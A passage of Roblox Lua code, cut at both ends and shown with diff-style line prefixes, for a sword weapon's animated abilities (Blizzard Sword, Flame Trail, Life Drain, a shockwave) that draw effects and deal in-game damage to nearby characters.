- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)
- shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90)+2*math.random(),2*math.random(),2*math.random())
- shell.Parent = swordholder
- shell.Transparency = 0
- if math.fmod(zz,2) == 0 then
- shell.BrickColor = BrickColor.new("Really black")
- else
- shell.BrickColor = BrickColor.new("Bright violet")
- end
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.01 do
- wait()
- mesh.Scale = Vector3.new(25,25,25) * Vector3.new(i,i,i)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- coroutine.resume(coroutine.create(function()
- effectsg.Transparency = 1
- for i = 0 , 1 , 0.1 do
- wait()
- effectsg.Transparency = 1-1*i
- end
- wait(2)
- for i = 0 , 1 , 0.1 do
- wait()
- effectsg.Transparency = 1*i
- end
- effectsg.Parent = nil
- end))
- local mg = 100
- if Hit ~= nil then
- mg = (point0-point1).magnitude
- elseif Hit == nil then
- mg = 100
- end
- ls(Head,0.5)
- ls(Head,0.75)
- cs(Head,0.25)
- ls(Head,1)
- ls(Head,3)
- cs(Head,0.15)
- for mgg = 0 , 1,0.1 do
- wait()
- effectsg.Size = Vector3.new(5,(mg*mgg)+0.2,5)
- local durr = CFrame.new((point0+(point1))/2,(point1))
- effectsg.CFrame = CFrame.new((point0+(point1-durr.lookVector * (mg*(1-mgg))))/2,(point1)) * CFrame.Angles(math.rad(90),0,0)
- end
- local critrandomizer = math.random(1,crtrate)
- if critrandomizer ~= 1 then
- local rndmdamage = math.random(mindamage+30,maxdamage+30)
- AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,false)
- elseif critrandomizer == 1 then
- local rndmdamage = math.random(maxdamage+30,crtmaxdamage+30)
- AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,true)
- end
- bp.Parent = nil
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(90-45*i), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45*i),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
- RWL.C0 = CFrame.new(1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LWL.C0 = CFrame.new(-1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- prt8.Transparency = 1*i
- end
- for ii = 1 , #AoETrue do
- table.remove(AoETrue,#AoETrue)
- end
- RWLRem()
- LWLRem()
- attack = false
- attacktype = 1
- end
- function BlizzardSword()
- attack=true
- for i = 0 , 1 , 0.2 do
- wait()
- RW.C0 = CFrame.new(1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i),math.rad(-45+45*i),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
- end
- local wssave = Character.Humanoid.WalkSpeed
- Character.Humanoid.WalkSpeed = 0
- ss(Head,1.5)
- local efftab = {}
- for i = 0 , 1 , 0.2 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i), math.rad(0), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i),math.rad(0),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45)) * CFrame.new(0, 0, 0.2)
- local eff = effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
- table.insert(efftab,eff)
- end
- local trspos = Torso.Position
- Character.Humanoid.WalkSpeed = wssave
- for _,efff in pairs(efftab) do
- wait()
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.15 do
- wait()
- efff.Transparency = 1*i
- end
- wait()
- efff.Transparency = 1
- end))
- end
- for io,eff in pairs(efftab) do
- wait()
- for zz = 1 , 1 do
- local mesh = Instance.new("CylinderMesh")
- mesh.Scale = Vector3.new(0.1,0.5,0.1)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- local dur = CFrame.new(trspos,eff.Position)
- local CF1 = dur * CFrame.Angles(math.rad(90),0,0) * CFrame.new(0,-6,0)
- shell.CFrame = CF1
- shell.Parent = eff
- shell.Transparency = 1
- shell.Reflectance = 0.25
- shell.BrickColor = BrickColor.new("Bright blue")
- shell.CanCollide = false
- is(shell,0.5)
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.1 do
- wait()
- shell.Transparency = 1-1*i
- mesh.Scale = Vector3.new(0.1+4.9*i,0.5,0.1+4.9*i)
- end
- wait(0.25)
- for i = 0 , 1 , 0.1 do
- wait()
- shell.Transparency = 1*i
- mesh.Scale = Vector3.new(5-5*i,0.5-0.5*i,5-5*i)
- end
- shell.Parent = nil
- end))
- end
- end
- for io,eff in pairs(efftab) do
- wait()
- for zz = 1 , 1 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "FileMesh"
- mesh.Scale = Vector3.new(5,2,1)
- mesh.MeshId = "rbxasset://fonts/sword.mesh"
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(2,2,5)
- local dur = CFrame.new(trspos,eff.Position)
- local CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5)* CFrame.Angles(0,0,math.rad(90))
- shell.CFrame = CF1
- shell.Parent = eff
- shell.Transparency = 1
- shell.Reflectance = 0.25
- shell.BrickColor = BrickColor.new("Bright blue")
- shell.CanCollide = false
- local hitd = 0
- coroutine.resume(coroutine.create(function()
- local dd = false
- while shell.Parent ~= nil and not dd do
- wait()
- local c = game.Workspace:GetChildren();
- for i = 1, #c do
- local hum = c[i]:findFirstChild("Humanoid")
- if hum ~= nil and hum.Health ~= 0 then
- local head = c[i]:findFirstChild("Torso");
- if head ~= nil then
- local targ = head.Position - shell.Position;
- local mag = targ.magnitude;
- if mag <= 3 and c[i].Name ~= Player.Name then
- dd = true
- local critrandomizer = math.random(1,crtrate)
- if critrandomizer ~= 1 then
- local rndmdamage = math.random(mindamage+iceboost,maxdamage+iceboost)
- damagesplat(rndmdamage,head,false)
- hum:TakeDamage(rndmdamage)
- elseif critrandomizer == 1 then
- local rndmdamage = math.random(maxdamage+iceboost,crtmaxdamage+iceboost)
- damagesplat(rndmdamage,head,true)
- hum:TakeDamage(rndmdamage)
- end
- end
- end
- end
- end
- end
- end))
- coroutine.resume(coroutine.create(function()
- uss(eff,1)
- for i = 0 , 1 , 0.1 do
- wait()
- shell.Transparency = 1-1*i
- CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5+2*i)* CFrame.Angles(0,0,math.rad(90))
- shell.CFrame = CF1
- mesh.Scale = Vector3.new(5,2,1+0.5*i)
- end
- wait(0.25)
- ss(eff,2)
- for i = 0 , 1 , 0.1 do
- wait()
- shell.Transparency = 1*i
- CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,8.5+25*i)* CFrame.Angles(0,0,math.rad(90))
- shell.CFrame = CF1
- mesh.Scale = Vector3.new(5-5*i,2-2*i,1.5-1.5*i*i)
- end
- shell.Parent = nil
- end))
- end
- end
- coroutine.resume(coroutine.create(function()
- wait(1.5)
- for _,eff in pairs(efftab) do
- wait()
- eff.Parent = nil
- end end))
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i), math.rad(45*i), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
- end
- attack=false
- end
- local FTCount = 0
- function FlameTrail()
- attack=true
- for i = 0 , 1 , 0.15 do
- wait()
- RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+55*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45+20*i))
- end
- wait(0.1)
- ss(Head,1.5)
- fs(Head,0.5+1.5*math.random())
- local efftab = {}
- RW.C0 = CFrame.new(0.5,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(65))
- dmgcnnct(hitbox)
- for i = 0 , 1 , 0.15 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-0.5-1*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+20*i),math.rad(-45),math.rad(65-155*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- if FTCount <= MaxFT then
- local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
- eff.Transparency = 1
- table.insert(efftab,eff)
- FTCount = FTCount + 1
- OTND(eff)
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.15 do
- wait()
- eff.Transparency = 1-0.5*i
- end
- wait()
- eff.Transparency = 0.5
- end))
- end
- end
- local rndmneg = math.random(1,2)
- if rndmneg == 1 then
- rndmdec1 = 13 * math.random()
- else
- rndmdec1 = -13 * math.random()
- end
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1*i), math.rad(90), math.rad(10-(rndmdec1*2)*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1.5,0.5,-0) * CFrame.fromEulerAnglesXYZ(math.rad(100),math.rad(-45),math.rad(-90))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- ss(Head,1.5)
- fs(Head,0.5+1.5*math.random())
- Hitdeb = 0
- for i = 0 , 1 , 0.15 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1.5-1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1), math.rad(90), math.rad(10-(rndmdec1*2)))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-200*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1.5+1*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(100-80*i),math.rad(-45),math.rad(-90+135*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- if FTCount <= MaxFT then
- local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
- eff.Transparency = 1
- table.insert(efftab,eff)
- FTCount = FTCount + 1
- OTND(eff)
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.15 do
- wait()
- eff.Transparency = 1-0.5*i
- end
- wait()
- eff.Transparency = 0.5
- end))
- end
- end
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- for i = 0 , 1 , 0.2 do
- wait()
- local rndmd = rndmdec1-rndmdec1*i
- RW.C0 = CFrame.new(0,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad((90-rndmd)), math.rad(90), math.rad((10-(rndmd*2))-20*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-90-10*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1*i,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90-20*i), math.rad(90-90*i), math.rad(-10-35*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-100+100*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-0.5-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-10*i),math.rad(-45+45*i),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
- end
- ss(Head,1.5)
- fs(Head,0.5+1.5*math.random())
- wait(0.1)
- Hitdeb = 0
- for i = 0 , 1 , 0.2 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i), math.rad(0), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i),math.rad(0),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45)) * CFrame.new(0, 0, 0.2)
- if FTCount <= MaxFT then
- local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
- eff.Transparency = 1
- table.insert(efftab,eff)
- FTCount = FTCount + 1
- OTND(eff)
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.15 do
- wait()
- eff.Transparency = 1-0.5*i
- end
- wait()
- eff.Transparency = 0.5
- end))
- end
- end
- coroutine.resume(coroutine.create(function()
- wait(5)
- for _,eff in pairs(efftab) do
- wait()
- eff.Parent = nil
- FTCount = FTCount - 1
- end end))
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i), math.rad(45*i), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i),math.rad(-45*i),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
- end
- dmgdc()
- attack=false
- end
- function LifeDrain()
- attack=true
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45), math.rad(-45+90*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0))
- LW.C0 = CFrame.new(-1+1.25*i,0.5+0.25*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+25*i),math.rad(-45+90*i),math.rad(45+25*i))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- ------
- local nrmag = 50
- local nrprsn = nil
- wait()
- --
- local c = game.Workspace:GetChildren();
- for i = 1, #c do
- local hum = c[i]:findFirstChild("Humanoid")
- if hum ~= nil and hum.Health ~= 0 then
- local head = c[i]:findFirstChild("Torso");
- if head ~= nil then
- local targ = head.Position - Torso.Position;
- local mag = targ.magnitude;
- if mag <= 50 and c[i].Name ~= Player.Name then
- if mag < nrmag then
- nrmag = mag
- nrprsn = c[i]
- end
- end end end end
- --
- if nrprsn == nil then
- attack = false
- return end
- local C = 0
- local bp = Instance.new("BodyPosition")
- local bg = Instance.new("BodyGyro")
- bp.Parent = Torso
- bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- bp.P = bp.P + 10000
- local CF = nrprsn.Torso.CFrame
- bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * -3
- bg.Parent = Torso
- bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
- bg.P = bg.P + 100000
- bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(0),0,0)
- ss(Head,2)
- wait(0.1)
- local FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- local LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- for i = 0 , 1 , 0.2 do
- wait()
- C = C + 1
- RW.C0 = CFrame.new(1-1*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-90*i), math.rad(45), math.rad(45-135*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0))
- LW.C0 = CFrame.new(0.25-1.75*i,0.75-0.25*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(105-60*i),math.rad(45),math.rad(70-125*i))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- if C == 3 then
- bp.P = bp.P + 10000
- bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * 6
- bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(-45),0,0)
- end
- if C == 2 then
- FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- elseif C == 5 then
- LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- end
- end
- local effectsmsh = Instance.new("SpecialMesh")
- effectsmsh.Scale = Vector3.new(5,1,5)
- effectsmsh.MeshType = "Sphere"
- local effectsg = Instance.new("Part")
- effectsg.formFactor = 3
- effectsg.CanCollide = false
- effectsg.Name = "Eff"
- effectsg.Locked = true
- effectsg.Anchored = true
- effectsg.Size = Vector3.new(0.2,1,0.2)
- effectsg.Parent = swordholder
- effectsmsh.Parent = effectsg
- effectsg.BrickColor = BrickColor.new("White")
- effectsg.Reflectance = Ref
- local point1 = FirstP
- local LP = LastP
- local mg = (LP.p - point1.p).magnitude
- effectsg.Size = Vector3.new(0.2,mg,0.2)
- effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0)
- if returnn then return effectsg end
- coroutine.resume(coroutine.create(function()
- if not returnn then
- for i = 0 , 1 , 0.1 do
- wait()
- effectsg.Transparency = 1*i
- end
- wait()
- effectsg.Parent = nil
- end
- end))
- local critrandomizer = math.random(1,crtrate)
- local rndmdamage = 0
- if critrandomizer ~= 1 then
- rndmdamage = math.random(mindamage,maxdamage)
- damagesplat(rndmdamage,nrprsn.Head,false)
- nrprsn.Humanoid:TakeDamage(rndmdamage)
- elseif critrandomizer == 1 then
- rndmdamage = math.random(maxdamage,crtmaxdamage)
- damagesplat(rndmdamage,nrprsn.Head,true)
- nrprsn.Humanoid:TakeDamage(rndmdamage)
- end
- local tempmod = Instance.new("Model",Workspace)
- for l = 1 , rndmdamage/5 do
- local meshz = Instance.new("SpecialMesh")
- meshz.Scale = Vector3.new(1.5,1.5,1.5)
- meshz.MeshType = "Sphere"
- local shellz = Instance.new("Part")
- meshz.Parent = shellz
- shellz.Anchored = false
- shellz.formFactor = 0
- shellz.Size = Vector3.new(1,1,1)
- shellz.CFrame = hitbox.CFrame
- shellz.Parent = tempmod
- shellz.Transparency = 0.5
- shellz.BrickColor = BrickColor.new("White")
- shellz.CanCollide = false
- shellz.Reflectance = 0
- local bv = Instance.new("BodyPosition")
- bv.Parent = shellz
- bv.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- bv.P = bv.P + 10000
- bv.position = shellz.Position + Vector3.new(math.random(-25,25),math.random(-2.5,7.5),math.random(-25,25))
- coroutine.resume(coroutine.create(function()
- wait(3)
- bv.maxForce = Vector3.new(0,math.huge,0)
- coroutine.resume(coroutine.create(function()
- local dd = false
- while shellz.Transparency ~= 1 and not dd do
- wait(0.1)
- local cc = game.Workspace:GetChildren();
- for i = 1, #c do
- local hum = cc[i]:findFirstChild("Humanoid")
- if hum ~= nil and hum.Health ~= 0 then
- local head = cc[i]:findFirstChild("Head");
- if head ~= nil then
- local targ = head.Position - shellz.Position;
- local mag = targ.magnitude;
- if mag <= 5 then
- dd = true
- damagesplat(5+darkboost,head,false)
- hum.Health = hum.Health + 5 + darkboost
- for i = 0 , 1 , 0.05 do
- wait()
- shellz.Transparency = 1*i
- end
- shellz.Parent = nil
- end
- end
- end
- end
- end
- end))
- end))
- local hx = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.05 do
- wait()
- shellz.Transparency = 1-1*i
- end
- shellz.Transparency = 0
- end))
- coroutine.resume(coroutine.create(function()
- wait(60)
- for ii,shellz in pairs(tempmod:GetChildren()) do
- for i = 0 , 1 , 0.1 do
- wait()
- shellz.Transparency = 1*i
- end
- shellz.Parent = nil
- end
- tempmod.Parent = nil
- end))
- end
- wait(0.5)
- ----
- RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- attack=false
- bp.Parent = nil bg.Parent = nil
- end
- --TEST
- hammer = Torso
- function doDamage(hit)
- local humanoid = hit.Parent:findFirstChild("Humanoid")
- local hum = Player.Character:findFirstChild("Humanoid") -- non-nil if tool held by a character
- if humanoid~=nil and humanoid ~= hum and hum ~= nil then
- local foundd = false
- for ii = 1 , #AoETrue do
- if AoETrue[ii] == hit.Parent.Name then
- foundd = true
- end
- end
- if foundd then
- end
- --
- if not foundd then
- humanoid:TakeDamage(5)
- if Mode == "Fire" then
- end
- damagesplat(5,humanoid.Parent.Torso,false)
- table.insert(AoETrue,hit.Parent)
- end
- if humanoid.Health <= 0 then
- local c = hit.CFrame
- hit.CFrame = CFrame.new(hit.Position)
- hit.CFrame = c
- end
- delay(1, function() end)
- else
- local c = hit.CFrame hit.CFrame = CFrame.new(hit.Position) hit.CFrame = c
- end
- end
- function bewm(obj, pos, notme)
- if (obj ~= notme) then
- if (obj.className == "Part") or (obj.className == "Seat") then
- if (not obj.Anchored) and (((pos - obj.Position) * Vector3.new(1, 0, 1)).magnitude < 24) and (pos.y <= obj.Position.y + 2) and (pos.y >= obj.Position.y - 2) then
- delay((pos - obj.Position).magnitude / 24, function() obj.Velocity = ((obj.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 96 + obj.Velocity obj.RotVelocity = obj.RotVelocity + Vector3.new(obj.Position.z - pos.z, 0, pos.x - obj.Position.x).unit * 40 doDamage(obj) end)
- end
- elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then
- local list = obj:GetChildren()
- for x = 1, #list do
- bewm(list[x], pos, notme)
- end
- end
- end
- end
- function attackr()
- local shockRing = Instance.new("Part")
- shockRing.formFactor = 2
- shockRing.Size = Vector3.new(1, 0.4, 1)
- shockRing.Anchored = true
- shockRing.Locked = true
- shockRing.CanCollide = false
- shockRing.archivable = false
- shockRing.TopSurface = 0
- shockRing.BottomSurface = 0
- shockRing.Transparency = 0
- if Mode == "Fire" then
- shockRing.BrickColor = BrickColor.new("Really red")
- elseif Mode == "Dark" then
- shockRing.BrickColor = BrickColor.new("Bright violet")
- elseif Mode == "Ice" then
- shockRing.BrickColor = BrickColor.new("Bright blue")
- shockRing.Reflectance = 0.2
- end
- local decal = Instance.new("CylinderMesh")
- decal.Parent = shockRing
- decal.Scale = Vector3.new(1,0.1,1)
- wait(0.2)
- local pos = hammer.CFrame * (Vector3.new(0, -2.5, 0))
- bewm(game.Workspace, pos, Player.Character)
- shockRing.CFrame = CFrame.new(pos)
- for x = 0, 1 , 0.0625 do
- delay((x*16) / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(3.2, 0, 3.2) * (x*16) shockRing.Transparency = 1*x shockRing.Parent = Player.Character end)
- end
- delay(1, function()
- shockRing.Parent = nil
- for ii = 1 , #AoETrue do
- table.remove(AoETrue,#AoETrue)
- end end)
- end
- local modemodel = Instance.new("Model",swordholder)
- local mrdychng = false
- function FireMode()
- attack=true
- Mode = "Fire"
- fireboost = 5
- mrdychng = true
- for i = 0 , 1 , 0.1 do
- wait()
